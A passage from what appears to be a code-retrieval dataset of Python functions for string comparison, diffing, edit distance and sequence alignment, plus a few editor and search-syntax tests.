before_sel=(\"2.9\", \"2.9\"),\n after_sel=(\"2.11\", \"2.11\"),\n command_name=\"transpose-words\",\n )","def iso_delta_from_strings(t1, t2):\n t1c=iso_from_string(t1)\n t2c=iso_from_string(t2)\n return t2c-t1c","def test_strings_are_equal(self):\n string1 = 'this is the first string'\n string2 = 'this is the first string' # ==, !is\n string3 = 'this is the second string'\n self.assertEqual(True, comparator.strings_are_equal(string1, string2))\n self.assertEqual(False, comparator.strings_are_equal(string1, string3))","def text_proximity(str_1: str, str_2: str) -> float:\n tokens_1 = Counter(str_1.split(' '))\n tokens_2 = Counter(str_2.split(' '))\n return _normalized_scalar_product(tokens_1, tokens_2)","def __sub_comparison_ops(file_contents: str) -> str:\n\n return re.sub(r'(?:IS\\s+)?EQUALS?(?:\\s+TO)?', '=', file_contents)","def assert_strings_equal(a, b):\n assert len(a) == len(b)\n for x, y in zip(a, b):\n assert x == y","def svn_diff_mem_string_output_unified3(*args):\n return _diff.svn_diff_mem_string_output_unified3(*args)","def seq_align(string1,string2,mismatch_penalty,gap_penalty):\n\n # define 2x2 matrix\n matrix = []\n for i in range(len(string1)+1):\n if i == 0:\n matrix.append(list([gap_penalty * x for x in range(len(string2)+1)]))\n else:\n matrix.append(list([gap_penalty * i if x == 0 else None for x in range(len(string2)+1)]))\n\n # populate matrix by looping through the strings and finding optimal value for each spot\n for i in range(len(string1)):\n for j in range(len(string2)):\n if string1[i] == string2[j]:\n val1 = 0 + matrix[i][j]\n else:\n val1 = mismatch_penalty + matrix[i][j]\n val2 = gap_penalty + matrix[i][j+1]\n val3 = gap_penalty + matrix[i+1][j]\n min_val = min(val1,val2,val3)\n matrix[i+1][j+1] = min_val\n\n\n # define values to use while retracing\n result_str1 = ''\n result_str2 = ''\n i = len(matrix)-1\n j = len(matrix[0])-1\n\n # trace through matrix to find the optimal character alignment\n while i > 0 and j > 0:\n val1 = matrix[i-1][j-1]\n val2 = matrix[i-1][j]\n val3 = matrix[i][j-1]\n min_val = min(val1,val2,val3)\n if val1 == min_val:\n result_str1 += string1[i-1]\n result_str2 += string2[j-1]\n i -= 1\n j -= 1\n elif val2 == min_val:\n result_str1 += \"-\"\n result_str2 += string2[j-1]\n i -= 1\n else:\n result_str1 += string1[i-1]\n result_str2 += \"-\"\n j -= 1\n\n # for any leftover j values\n if i == 0:\n while j > 0:\n result_str1 += '-'\n result_str2 += string2[j]\n j -=1\n\n # for any leftover i values\n if j == 0:\n while i > 0:\n result_str1 += string1[i]\n result_str2 += \"-\"\n i -= 1\n\n return matrix[len(matrix)-1][len(matrix[0])-1], result_str1[::-1], result_str2[::-1]","def test_forward_word_extend_selection(self):\n before_b = \"\"\"\\\n Americans live in the most severe weather-prone country on Earth. Each year, Americans cope with an average of 10,000 thunderstorms, 2,500 floods, 1,000 tornadoes, as well as an average of 6 deadly hurricanes. Potentially deadly weather impacts every American. Communities can now rely on the National Weather Service’s StormReady program to help them guard against the ravages of Mother Nature.\n\n Some 90% of all presidentially declared disasters are weather related, leading to around 500 deaths per year and nearly $14 billion in damage. StormReady, a program started in 1999 in Tulsa, OK, helps arm America's communities with the communication and safety skills needed to save lives and property– before and during the event. StormReady helps community leaders and emergency managers strengthen local safety programs.\n\n StormReady communities are better prepared to save lives from the onslaught of severe weather through better planning, education, and awareness. No community is storm proof, but StormReady can help communities save lives. Does StormReady make a difference?\n \"\"\"\n after_b = \"\"\"\\\n Americans live in the most severe weather-prone country on Earth. Each year, Americans cope with an average of 10,000 thunderstorms, 2,500 floods, 1,000 tornadoes, as well as an average of 6 deadly hurricanes. Potentially deadly weather impacts every American. Communities can now rely on the National Weather Service’s StormReady program to help them guard against the ravages of Mother Nature.\n\n Some 90% of all presidentially declared disasters are weather related, leading to around 500 deaths per year and nearly $14 billion in damage. StormReady, a program started in 1999 in Tulsa, OK, helps arm America's communities with the communication and safety skills needed to save lives and property– before and during the event. StormReady helps community leaders and emergency managers strengthen local safety programs.\n\n StormReady communities are better prepared to save lives from the onslaught of severe weather through better planning, education, and awareness. No community is storm proof, but StormReady can help communities save lives. Does StormReady make a difference?\n \"\"\"\n self.run_test(\n before_b=before_b,\n after_b=after_b,\n before_sel=(\"1.395\", \"1.395\"),\n after_sel=(\"1.395\", \"3.4\"),\n command_name=\"forward-word-extend-selection\",\n )","def edit_distance(str1, str2):\r\n pass","def test_string_filter_chain(mutation_sequence_with_set_descriptions):\n mutations = mutation_sequence_with_set_descriptions\n\n string_filter = StringFilter(string_to_match=\"SUPER SHOP\")\n string_filter2 = StringFilter(string_to_match=\"alert!\", parent=string_filter)\n string_filter3 = StringFilter(\n string_to_match=\"some other string\", parent=string_filter2\n )\n\n assert len(string_filter.apply(mutations)) == 2\n assert len(string_filter2.apply(mutations)) == 1\n assert len(string_filter3.apply(mutations)) == 0","def sequence(word1: str, word2: str) -> str:\r\n matrix = [[[0, [0, 0]] for x in range(len(word1) + 1)] for i in range(len(word2) + 1)]\r\n\r\n for i in range(1, len(word2) + 1):\r\n for j in range(1, len(word1) + 1):\r\n # compares every letter in\r\n if word2[i - 1] == word1[j - 1]:\r\n matrix[i][j][0] = 1 + matrix[i-1][j-1][0]\r\n matrix[i][j][1] = [i - 1, j - 1]\r\n else:\r\n if matrix[i - 1][j][0] > matrix[i][j - 1][0]:\r\n matrix[i][j][0] = matrix[i - 1][j][0]\r\n matrix[i][j][1] = [i - 1, j]\r\n else:\r\n matrix[i][j][0] = matrix[i][j - 1][0]\r\n matrix[i][j][1] = [i, j - 1]\r\n # the code below runs in order to extract the sequence. it starts at position (m,n)\r\n res = \"\"\r\n i = len(matrix) - 1\r\n j = len(matrix[0]) - 1\r\n while i and j != 0:\r\n if matrix[i][j][1] == [i - 1, j - 1]:\r\n res = word1[j - 1] + res\r\n i, j = matrix[i][j][1]\r\n return res","def edit_distance_from_aln_strings(str1, str2):\n assert len(str1) == len(str2)\n edit_distance = 0\n in_gap = False\n\n for i, char1 in enumerate(str1):\n if char1 == \"-\" or str2[i] == \"-\":\n if not in_gap:\n in_gap = True\n edit_distance += 1\n else:\n in_gap = False\n\n if char1 != str2[i]:\n edit_distance += 1\n\n return edit_distance","def test_syntax_converter_expand_search_patterns_multiple_conjoined(self):\n spi_search = \"find t bob sam and couch\"\n inv_search = \"title:bob and title:sam and title:couch\"\n self._compare_searches(inv_search, spi_search)","def _compare_unordered(self, other):\n self_token_set = set(self.tokens)\n other_token_set = set(other.tokens)\n\n if len(self_token_set.intersection(other_token_set)) == 0:\n return MatchResult(\"NO\", 0.0)\n\n if self.address_type != other.address_type:\n return MatchResult(\"NO\", 0.0)\n\n if len(self_token_set) != len(other_token_set):\n return MatchResult(\"NO\", 0.0)\n\n self_tokens = self_token_set - other_token_set\n other_tokens = other_token_set - self_token_set\n\n if len(self_tokens) != len(other_tokens):\n return MatchResult(\"NO\", 0.0)\n\n if len(self_tokens) == 0 and len(other_tokens) == 0:\n if self.has_number and self.address_number == other.address_number:\n return MatchResult(\"A2\", 1.0)\n else:\n return MatchResult(\"A4\", 1.0)\n\n result, self_unmatched, other_unmatched, _ = self._match_short_names(self_tokens, other_tokens)\n\n if not result:\n return MatchResult(\"NO\", 0.0)\n\n result, other_unmatched, self_unmatched, _ = self._match_short_names(other_unmatched, self_unmatched)\n\n if not result:\n return MatchResult(\"NO\", 0.0)\n\n if len(self_unmatched) != 0 or len(other_unmatched) != 0:\n return MatchResult(\"NO\", 0.0)\n else:\n if self.has_number and self.address_number == other.address_number:\n return MatchResult(\"A2\", 1.0)\n else:\n return MatchResult(\"A4\", 1.0)","def EXACT(string1, string2):\n return string1 == string2","def pytest_assertrepr_compare(op: str, left: Any, right: Any) -> List[str]: # noqa: U100\n output = [\"Compare Result:\"]\n\n for line in list(dictdiffer.diff(left, right)):\n output.extend(pp.pformat(line).split(\"\\n\"))\n\n return output","def levenshtein_dist(s1, s2, dele, add, sub):\n m = np.zeros((len(s1)+1, len(s2)+1), dtype=np.int)\n p = np.zeros((len(s1)+1, len(s2)+1), dtype=np.float)\n for i in range(len(s1)+1):\n m[i, 0] = i\n # compute probability for deletion\n if i == 0:\n p[i, 0] = 1\n else:\n ind = alphabet.index('@')\n p[i, 0] = p[i-1, 0] * dele[ind, alphabet.index(s1[i-1])]\n for j in range(len(s2)+1):\n # compute probability for insertion\n if j == 0:\n p[0, j] = 1\n else:\n prev_char = '@' if j == 1 else s2[j-2]\n p[0, j] = p[0, j-1] * add[alphabet.index(prev_char),\n alphabet.index(s2[j-1])]\n m[0, j] = j\n for i in range(1, 1+len(s1)):\n for j in range(1, len(s2)+1):\n if s1[i-1] == s2[j-1]:\n k = np.argmin([m[i-1, j] + 1, m[i, j-1] + 1, m[i-1, j-1]])\n if k == 0:\n # deletion\n m[i, j] = m[i-1, j] + 1\n prev_char = '@' if j == 1 else s2[j-2]\n p[i, j] = p[i-1, j] * dele[alphabet.index(prev_char), alphabet.index(s1[i-1])]\n elif k == 1:\n # insertion\n m[i, j] = m[i, j-1] + 1\n prev_char = '@' if j == 1 else s2[j-2]\n p[i, j] = p[i, j-1] * add[alphabet.index(prev_char), alphabet.index(s2[j-1])]\n else:\n # no mistake\n m[i, j] = m[i-1, j-1]\n p[i, j] = p[i-1, j-1]\n else:\n k = np.argmin([m[i-1, j] + 1, m[i, j-1] + 1, m[i-1, j-1] + 1])\n if k == 0:\n # deletion\n m[i, j] = m[i-1, j] + 1\n prev_char = '@' if j == 1 else s2[j-2]\n p[i, j] = p[i-1, j] * dele[alphabet.index(prev_char), alphabet.index(s1[i-1])]\n elif k == 1:\n # insertion\n m[i, j] = m[i, j-1] + 1\n prev_char = '@' if j == 1 else s2[j-2]\n p[i, j] = p[i, j-1] * add[alphabet.index(prev_char), alphabet.index(s2[j-1])]\n else:\n # substitution\n m[i, j] = m[i-1, j-1] + 1\n p[i, j] = p[i-1, j-1] * sub[alphabet.index(s1[i-1]), alphabet.index(s2[j-1])]\n # recall that in sub[X, Y], Y is the correct word\n\n return m[len(s1), len(s2)], p[len(s1), len(s2)]","def str_equals(a, b):\n al = len(a)\n bl = len(b)\n match = True\n for i in range(0, min(al, bl)):\n match &= a[i] == b[i]\n return match","def assertMultiLineEqual(self, first, second, msg=None):\n self.assertTrue(isinstance(first, str),\n 'First argument is not a string')\n self.assertTrue(isinstance(second, str),\n 'Second argument is not a string')\n\n if first != second:\n message = ''.join(difflib.ndiff(first.splitlines(True),\n second.splitlines(True)))\n if msg:\n message += \" : \" + msg\n self.fail(\"Multi-line strings are unequal:\\n\" + message)","def compatible(pattern1, pattern2, direction):\n if direction == 0:\n return pattern1[:-1] == pattern2[1:]\n if direction == 2:\n return [line[:-1] for line in pattern1] == [line[1:] for line in pattern2]","def strSeq_uniquify(strSeq,connector='_'):\n\n fm=\"{}\"+connector+\"{}\"\n\n new_strSeq = []\n for item in strSeq:\n counter = 0\n newitem = item\n while newitem in new_strSeq:\n counter += 1\n newitem = fm.format(item, counter-1)\n new_strSeq.append(newitem)\n\n return new_strSeq","def test_sub_with_list(self):\n m = strutils.MultiReplace([\n (r'cat', 'kedi'),\n (r'purple', 'mor'),\n (r'q\\w+?t', 'dinglehopper'),\n ], regex=True)\n self.assertEqual(\n m.sub('The purple cat ate a quart of jelly'),\n 'The mor kedi ate a dinglehopper of jelly'\n )","def distance(str1, str2):\n return sum(c1 != c2 for c1, c2 in izip(str1, str2))","def test_combine_multiple(self):\n inv_search = 'author:\"gattringer, c*\" keyword:chiral keyword:symmetry -title:chiral'\n spi_search = \"find a c gattringer and k chiral symmetry and not title chiral\"\n self._compare_searches(inv_search, spi_search)"],"string":"[\n \"def makediff(s1, s2):\\n import difflib\\n differ = difflib.SequenceMatcher()\\n differ.set_seqs(s1, s2)\\n #debug = False\\n s1new = [ ]\\n s2new = [ ]\\n previousOp = None\\n for op, i1, i2, j1, j2 in differ.get_opcodes():\\n #if debug: print \\\"top\\\"\\n #if debug: print op, i1, i2, j1, j2, '->'\\n #if debug: print s1, s2\\n if op == 'equal':\\n #if i2-i1 < 4 and len(s1new) > 1 and previousOp == \\\"replace\\\":\\n # s1new[-2] += escape(s1[i1:i2])\\n # s2new[-2] += escape(s2[j1:j2])\\n #else:\\n s1new.append(escape(s1[i1:i2]))\\n s2new.append(escape(s2[j1:j2]))\\n elif op == 'insert':\\n s2new.extend(('<b>', escape(s2[j1:j2]), '</b>'))\\n elif op == \\\"delete\\\":\\n s1new.extend(('<b><strike>', escape(s1[i1:i2]), '</strike></b>'))\\n elif op == 'replace':\\n s1new.extend(('<b><strike>', escape(s1[i1:i2]), '</strike></b>'))\\n s2new.extend(('<b>', escape(s2[j1:j2]), '</b>'))\\n previousOp = op\\n #if debug: print s1, s2\\n #if debug: print \\\"bottom\\\"\\n #if debug: print \\\"done\\\"\\n return ''.join(s1new), ''.join(s2new)\",\n \"def string_similarity(a, b):\\n return SequenceMatcher(a=a, b=b).ratio()\",\n \"def align(src, tgt):\\n\\n sm = SequenceMatcher(a=list(map(lambda x: x[0], tgt)), b=list(map(lambda x: x[0], src)))\\n tgt_temp, src_temp = [], []\\n opcodes = sm.get_opcodes()\\n for tag, i1, i2, j1, j2 in opcodes:\\n # If they are equal, do nothing except lowercase them\\n if tag == 'equal':\\n for i in range(i1, i2):\\n tgt[i][1] = 'e'\\n tgt_temp.append(tgt[i])\\n for i in range(j1, j2):\\n src[i][1] = 'e'\\n src_temp.append(src[i])\\n # For insertions and deletions, put a filler of '***' on the other one, and\\n # make the other all caps\\n elif tag == 'delete':\\n for i in range(i1, i2):\\n tgt[i][1] = 'd'\\n tgt_temp.append(tgt[i])\\n for i in range(i1, i2):\\n src_temp.append(tgt[i])\\n elif tag == 'insert':\\n for i in range(j1, j2):\\n src[i][1] = 'i'\\n tgt_temp.append(src[i])\\n for i in range(j1, j2):\\n src_temp.append(src[i])\\n # More complicated logic for a substitution\\n elif tag == 'replace':\\n for i in range(i1, i2):\\n tgt[i][1] = 's'\\n for i in range(j1, j2):\\n src[i][1] = 's'\\n tgt_temp += tgt[i1:i2]\\n src_temp += src[j1:j2]\\n \\n src, tgt = GumarDataset.align_subsequences(src_temp, tgt_temp)\\n return src, tgt\",\n \"def diff(s0, s1):\\n from difflib import ndiff\\n lst0 = s0.split(\\\"\\\\n\\\")\\n lst1 = s1.split(\\\"\\\\n\\\")\\n report = '\\\\n'.join(ndiff(lst0, lst1))\\n return report\",\n \"def diff(s0, s1):\\n from difflib import ndiff\\n lst0 = s0.split(\\\"\\\\n\\\")\\n lst1 = s1.split(\\\"\\\\n\\\")\\n report = '\\\\n'.join(ndiff(lst0, lst1))\\n return report\",\n \"def show_diff(seqm):\\n output= []\\n \\n for opcode, a0, a1, b0, b1 in seqm.get_opcodes():\\n if opcode == 'equal':\\n output.append(seqm.a[a0:a1])\\n elif opcode == 'insert':\\n output.append(INS_START_SYM + seqm.b[b0:b1] + INS_END_SYM)\\n elif opcode == 'delete':\\n output.append(DEL_START_SYM + seqm.a[a0:a1] + DEL_END_SYM)\\n elif opcode == 'replace':\\n output.append(DEL_START_SYM + seqm.a[a0:a1] + DEL_END_SYM)\\n output.append(INS_START_SYM + seqm.b[b0:b1] + INS_END_SYM)\\n else:\\n raise RuntimeError\\n return ''.join(output)\",\n \"def __diff(text_a, text_b):\\n import difflib\\n\\n diff = None\\n\\n try:\\n diff = [li for li in difflib.ndiff(text_a, text_b) if li[0] != ' ']\\n except TypeError as err:\\n print(err)\\n\\n diff_a = \\\"\\\"\\n diff_b = \\\"\\\"\\n\\n if not diff:\\n return \\\"There was a problem with the diff!\\\", \\\"There was a problem with the diff!\\\"\\n\\n for _diff in diff:\\n if \\\"+\\\" in _diff:\\n diff_a += _diff.replace(\\\"+ \\\", \\\"\\\")\\n elif \\\"-\\\" in _diff:\\n diff_b += _diff.replace(\\\"- \\\", \\\"\\\")\\n\\n return diff_a, diff_b\",\n \"def compare_sentences(sentence_a, sentence_b, extra_splits=DEFAULT_SPLITTERS):\\n\\n def split_sentence(sentence):\\n reworked_sentence = sentence.strip()\\n for chars in extra_splits:\\n reworked_sentence = reworked_sentence.replace(chars, ' ')\\n return reworked_sentence.split()\\n\\n reworked_a = split_sentence(sentence_a)\\n reworked_b = split_sentence(sentence_b)\\n return compare_iterables(reworked_a, reworked_b)\",\n \"def __CompareText1(self, s1, s2,result):\\n # lines with tag that are excluded by hand (by the user) \\n s0_excluded=list()\\n for l0 in self.excluded_lines.splitlines():\\n s0_excluded.append(l0.strip()) \\n\\n s1_filtered=list()\\n s2_filtered=list() \\n for l1 in s1.splitlines(): \\n if l1.__contains__(self.stdout_tag): \\n check=0\\n for k in s0_excluded: \\n if l1.__contains__(k): check=check+1 \\n if check==0: s1_filtered.append(l1.strip())\\n for l2 in s2.splitlines(): \\n if l2.__contains__(self.stdout_tag): \\n check=0\\n for k in s0_excluded: \\n if l2.__contains__(k): check=check+1 \\n if check==0: s2_filtered.append(l2.strip())\\n # some debug: shows the lines which will be compared \\n mm=''\\n nTot=0\\n nDif=0\\n nMis=0\\n for l in range(max(len(s1_filtered),len(s2_filtered))): \\n nTot=nTot+1\\n if ( l>len(s1_filtered)-1 ): # ref[l] exists but log[l] does not\\n nMis=nMis+1\\n if ( nMis<=5 ) : # print only the first 5 missing lines\\n mm=mm+'\\\\n%5i'%l\\n if ( nMis<5 ) :\\n mm=mm+'-> log: ...MISSING('+repr(nMis)+')...'+'\\\\n' \\n else:\\n mm=mm+'-> log: ...MISSING(5)... SKIP THE REST'+'\\\\n' \\n if(l<=len(s2_filtered)-1):\\n mm=mm+' ref: '+s2_filtered[l]+'\\\\n'\\n else:\\n mm=mm+' ref: '+'\\\\n'\\n elif( l>len(s2_filtered)-1 or # log[l] exists but ref[l] does not\\n s1_filtered[l] != s2_filtered[l] ): # log[l] != ref[l]\\n nDif=nDif+1\\n mm=mm+'\\\\n%5i'%l\\n mm=mm+'-> log: '+s1_filtered[l]+'\\\\n'\\n if(l<=len(s2_filtered)-1):\\n mm=mm+' ref: '+s2_filtered[l]+'\\\\n' \\n else:\\n mm=mm+' ref: '+'\\\\n' \\n if(nDif>0 or nMis>0): mm=mm+'\\\\nSummary: '+repr(nDif)+' lines differ and '+repr(nMis)+' are missing out of '+repr(nTot)+' lines\\\\n'\\n result[\\\"ExecTest.stdout_VS_expected_stdout\\\"] = result.Quote(mm)\\n logger.debug('ExecTestBase2:__CompareTest1: '+mm) \\n # Comparision of filtered sets \\n # - filtered sets should have the same length: if this is not the \\n # case the test will stop here \\n if not(len(s1_filtered)==len(s2_filtered)): \\n self.causes.append(' Different number of tagged lines to compare \\\\n'+\\\\\\n 'in the stdout and ref_stdout')\\n return False \\n # Scan of the s1 and ref_s1=s2 looking for the '=' \\n s1_filtered_equals=list()\\n s2_filtered_equals=list() \\n for i in range(len(s1_filtered)):\\n if s1_filtered[i].__contains__('='):\\n s1_filtered_equals.append(s1_filtered[i].replace(\\\\\\n self.stdout_tag,'').strip())\\n if s2_filtered[i].__contains__('='):\\n s2_filtered_equals.append(s2_filtered[i].replace(\\\\\\n self.stdout_tag,'').strip()) \\n # - in case there is not '=' the strings have to be the same \\n if(not(s1_filtered[i].__contains__('=')) and \\n s2_filtered[i].__contains__('=')): return False \\n if(not(s1_filtered[i].__contains__('=')) and \\n not(s2_filtered[i].__contains__('=')) and \\n not(s1_filtered[i]==s2_filtered[i])): return False \\n\\n # Analysis of lines with '='\\n fail_cond=True \\n logger.debug('ExecTestBase2:__CompareTest1: # lines with = is '+\\\\\\n repr(len(s1_filtered_equals))) \\n for i in range(len(s1_filtered_equals)):\\n s1_split_list=s1_filtered_equals[i].split('=')\\n s2_split_list=s2_filtered_equals[i].split('=')\\n logger.debug('ExecTestBase2:__CompareTest1: right side of = for '+\\\\\\n repr(i)+' are '+s1_split_list[1]+' '+s2_split_list[1])\\n # - No local tolerance marked with '+-' in the s2\\n if not(s2_split_list[1].__contains__('+-')):\\n try: # integer and float to float\\n s1_split_list_1=float(s1_split_list[1].strip())\\n s2_split_list_1=float(s2_split_list[1].strip())\\n # - comparison with global tolerance (if any) \\n if(s1_split_list_1!=0.): \\n if(not(s1_split_list[0]==s2_split_list[0]) or \\n not((s1_split_list_1==s2_split_list_1) or \\n ((s1_split_list_1<s2_split_list_1+\\\\\\n s2_split_list_1*float(self.stdout_tol)/100) and \\n (s1_split_list_1>s2_split_list_1-\\n s2_split_list_1*float(self.stdout_tol)/100))) \\n ): fail_cond=fail_cond and False \\n else: # case = 0 \\n if(not(s1_split_list[0]==s2_split_list[0]) or \\n not((s1_split_list_1==s2_split_list_1) or \\n ((s1_split_list_1<s2_split_list_1+\\\\\\n float(self.stdout_tol)/100) and \\n (s1_split_list_1>s2_split_list_1-\\n float(self.stdout_tol)/100))) \\n ): fail_cond=fail_cond and False \\n logger.debug('ExecTestBase2:__CompareTest1: right side of = for '+\\\\\\n repr(i)+' are '+repr(s1_split_list_1)+' '+\\\\\\n repr(s2_split_list_1)+' with global tol (%) '+\\\\\\n repr(self.stdout_tol)+' '+repr(fail_cond) )\\n except: # strings\\n s1_split_list[1]=s1_split_list[1].strip() \\n s2_split_list[1]=s2_split_list[1].strip() \\n logger.debug('ExecTestBase2:__CompareTest1: right side of = for '+\\\\\\n repr(i)+' are '+s1_split_list[1]+' '+\\\\\\n s2_split_list[1])\\n if(not(s1_split_list[0]==s2_split_list[0]) or \\n not(s1_split_list[1]==s2_split_list[1]) ): fail_cond=fail_cond and False \\n else: \\n # - comparison with local tolerance \\n print 'mgallas, to be done local tolerance'\\n return fail_cond\\n\\n for j in range(len(self.causes)):\\n print 'mgallas causes '+causes[j]\\n \\n return True\",\n \"def string_edit_dist(str1, str2):\\n sm = edit_distance.SequenceMatcher(a=str1, b=str2)\\n return sm.distance()\",\n \"def show_diff(seqm):\\n output= []\\n for opcode, a0, a1, b0, b1 in seqm.get_opcodes():\\n if opcode == 'equal':\\n output.append(seqm.a[a0:a1])\\n elif opcode == 'insert':\\n output.append(\\\"{+\\\" + seqm.b[b0:b1] + \\\"+}\\\")\\n elif opcode == 'delete':\\n output.append(\\\"{-\\\" + seqm.a[a0:a1] + \\\"-}\\\")\\n elif opcode == 'replace':\\n output.append(\\\"<del>\\\" + seqm.a[a0:a1] + \\\"</del><ins>\\\" + seqm.b[b0:b1] + \\\"</ins>\\\")\\n else:\\n raise RuntimeError(\\\"unexpected opcode\\\")\\n return ''.join(output)\",\n \"def _unidiff_output(expected, actual):\\n\\n expected=expected.splitlines(1)\\n actual=actual.splitlines(1)\\n\\n diff=difflib.unified_diff(expected, actual)\\n\\n return ''.join(diff)\",\n \"def seqDiffs(my_seq):\\n return ((m.start(0), m.group()) for m in re.finditer('[A-Z]|_+', my_seq))\",\n \"def string_similarity(item_1, item_2):\\n return SequenceMatcher(None, item_1.lower(), item_2.lower()).ratio()\",\n \"def string_match_ratio(str1, str2):\\n sm = edit_distance.SequenceMatcher(a=str1, b=str2)\\n return sm.ratio()\",\n \"def simple_baseline_similarity(s1, s2):\\n # Tokenize by sentences into words in lower case \\n tokenized_sentence_1 = nltk.word_tokenize(s1.lower())\\n tokenized_sentence_2 = nltk.word_tokenize(s2.lower())\\n\\n tagged_sentence_1 = pos_tag(tokenized_sentence_1) # [ (word, POS_TAG), ...]\\n tagged_sentence_2 = pos_tag(tokenized_sentence_2) # [ (word, POS_TAG), ...]\\n \\n lemmas_sentence_1 = [lemmatize(tagged_word, wnl) for tagged_word in tagged_sentence_1 if not tagged_word in stop_words] \\n lemmas_sentence_2 = [lemmatize(tagged_word, wnl) for tagged_word in tagged_sentence_2 if not tagged_word in stop_words] # [LEMMA_1, ...]\\n \\n word_seq_match = difflib.SequenceMatcher(None, tokenized_sentence_1, tokenized_sentence_2)\\n word_match = word_seq_match.find_longest_match(0, len(tokenized_sentence_1), 0, len(tokenized_sentence_2))\\n\\n lemm_seq_match = difflib.SequenceMatcher(None, lemmas_sentence_1, lemmas_sentence_2)\\n lemm_match = lemm_seq_match.find_longest_match(0, len(lemmas_sentence_1), 0, len(lemmas_sentence_2))\\n\\n word_sim = word_match.size/(max(len(tokenized_sentence_1), len(tokenized_sentence_2)) + 0.001)\\n lemm_sim = lemm_match.size/(max(len(lemmas_sentence_1), len(lemmas_sentence_2)) + 0.001)\\n\\n return word_sim, lemm_sim\",\n \"def compare_str(seq1, seq2):\\n if seq1 == seq2:\\n return 1\\n ld = Levenshtein.distance(seq1, seq2)\\n longest = len(seq1 if len(seq1) > len(seq2) else seq2)\\n return (longest - ld) / longest\",\n \"def get_opcodes(old: str, new: str) -> List[Opcode]:\\n diff = difflib.SequenceMatcher(a=old, b=new)\\n return [Opcode(*opcode) for opcode in diff.get_opcodes()]\",\n \"def compSeq(s1, s2, lineL=50):\\n lineN = int(np.ceil(min(len(s1), len(s2))/lineL))\\n count = 0\\n samecount = 0\\n outStr = ''\\n for linei in range(lineN):\\n if (linei+1) * lineL < min(len(s1), len(s2)):\\n end = (linei+1) * lineL\\n else:\\n end = min(len(s1), len(s2))\\n outStr += 'Pos %d - %d\\\\n' % (linei*lineL+1, end-1+1)\\n for sitei in range(linei*lineL, end):\\n outStr += s1[sitei]\\n outStr += '\\\\n'\\n for sitei in range(linei*lineL, end):\\n out = ' ' if s1[sitei] == s2[sitei] else '|'\\n outStr += out\\n count += 1\\n samecount += 1 if s1[sitei]==s2[sitei] else 0\\n outStr += '\\\\n'\\n for sitei in range(linei*lineL, end):\\n out = '.' if s1[sitei] == s2[sitei] else s2[sitei]\\n outStr += s2[sitei]\\n outStr += '\\\\n\\\\n'\\n outStr += 'Seq1 (%d) and Seq2 (%d) are %1.1f%% similar\\\\n\\\\n' % (len(s1), len(s2), 1e2*samecount/count)\\n print(outStr)\",\n \"def svn_diff_mem_string_diff4(*args):\\n return _diff.svn_diff_mem_string_diff4(*args)\",\n \"def annotate_diff(desc, stdout_e, stdout_a, stdout_e_strp, stdout_a_strp):\\n id_str= \\\"%s_\\\" % desc\\n result[id_str + \\\"stdout_expected\\\"] = stdout_e\\n result[id_str + \\\"stdout_actual\\\"] = stdout_a\\n result[id_str + \\\"stdout_expected_stripped\\\"]= stdout_e_strp\\n result[id_str + \\\"stdout_actual_stripped\\\"] = stdout_a_strp\\n result[id_str + \\\"stripped_diff\\\"] = '\\\\n'.join( difflib.ndiff( stdout_e_strp.splitlines(),\\n stdout_a_strp.splitlines() ))\\n result.fail(\\\"Expected standard output from %s does not match actual output.\\\" % desc)\",\n \"def svn_diff_mem_string_diff(*args):\\n return _diff.svn_diff_mem_string_diff(*args)\",\n \"def mutate_tag_seq(words, seq1, seq2):\\n if len(seq1) > len(words):\\n return None\\n seq_start = index_tag_seq(words, seq1)\\n if seq_start > -1:\\n pre = words[:seq_start]\\n post = words[seq_start+len(seq1):]\\n mutated = []\\n for x in seq2:\\n for j in range(len(seq1)): \\n if x == words[seq_start+j].tag:\\n mutated.append(words[seq_start+j])\\n return pre + mutated + post\\n return None\",\n \"def test_mutate(self):\\n\\t\\tself.string_a.mutate()\\n\\t\\tself.string_b.mutate()\\n\\t\\tself.assertNotEqual(\\\"a\\\", self.string_a.value)\\n\\t\\tself.assertNotEqual(\\\"b\\\", self.string_b.value)\",\n \"def WordDiff(line1, line2, diff_params):\\n match_expr, min_match_ratio, min_match_size, _ = diff_params\\n exp = EXPRS[match_expr]\\n # Strings may have been left undecoded up to now. Assume UTF-8.\\n line1 = TryDecode(line1)\\n line2 = TryDecode(line2)\\n\\n a = re.findall(exp, line1, re.U)\\n b = re.findall(exp, line2, re.U)\\n s = difflib.SequenceMatcher(None, a, b)\\n matching_blocks = s.get_matching_blocks()\\n ratio = s.ratio()\\n # Don't show intra region diffs if both lines are too different and there is\\n # more than one block of difference. If there is only one change then we\\n # still show the intra region diff regardless of how different the blocks\\n # are.\\n # Note: We compare len(matching_blocks) with 3 because one block of change\\n # results in 2 matching blocks. We add the one special block and we get 3\\n # matching blocks per one block of change.\\n if ratio < min_match_ratio and len(matching_blocks) > 3:\\n return ([(0, 0, 0)], ratio)\\n # For now convert to character level blocks because we already have\\n # the code to deal with folding across lines for character blocks.\\n # Create arrays lena an lenb which have cumulative word lengths\\n # corresponding to word positions in a and b\\n lena = []\\n last = 0\\n for w in a:\\n lena.append(last)\\n last += len(w)\\n lenb = []\\n last = 0\\n for w in b:\\n lenb.append(last)\\n last += len(w)\\n lena.append(len(line1))\\n lenb.append(len(line2))\\n # Convert to character blocks\\n blocks = []\\n for s1, s2, blen in matching_blocks[:-1]:\\n apos = lena[s1]\\n bpos = lenb[s2]\\n block_len = lena[s1+blen] - apos\\n blocks.append((apos, bpos, block_len))\\n # Recreate the special block.\\n blocks.append((len(line1), len(line2), 0))\\n # Filter any matching blocks which are smaller than the desired threshold.\\n # We don't remove matching blocks with only a newline character as doing so\\n # results in showing the matching newline character as non matching which\\n # doesn't look good.\\n blocks = FilterBlocks(blocks, lambda b: (b[2] >= min_match_size or\\n line1[b[0]:b[0]+b[2]] == '\\\\n'))\\n return (blocks, ratio)\",\n \"def test_stringRepresentationWithInversion(self):\\n inputs = [\\n imap4.parseIdList(b'2:3'),\\n imap4.parseIdList(b'3:2'),\\n ]\\n\\n outputs = [\\n \\\"2:3\\\",\\n \\\"2:3\\\",\\n ]\\n\\n for i, o in zip(inputs, outputs):\\n self.assertEqual(str(i), o)\",\n \"def compare_texts(text1, text2):\\n return compare_vectors(vectorize_text(text1), vectorize_text(text2))\",\n \"def getmutdiff(newstring):\\n\\n global refmutations\\n listold, listnew, difference = list(refmutations), list(newstring), []\\n for _ in range(len(listold)):\\n difference.append(\\n (int(listold[_]) ^ int(\\n listnew[_]))) # xor both strings position for position and append result to output list\\n return difference\",\n \"def get_diff(text_1, text_2):\\n\\n return str(round(SequenceMatcher(None, text_1, 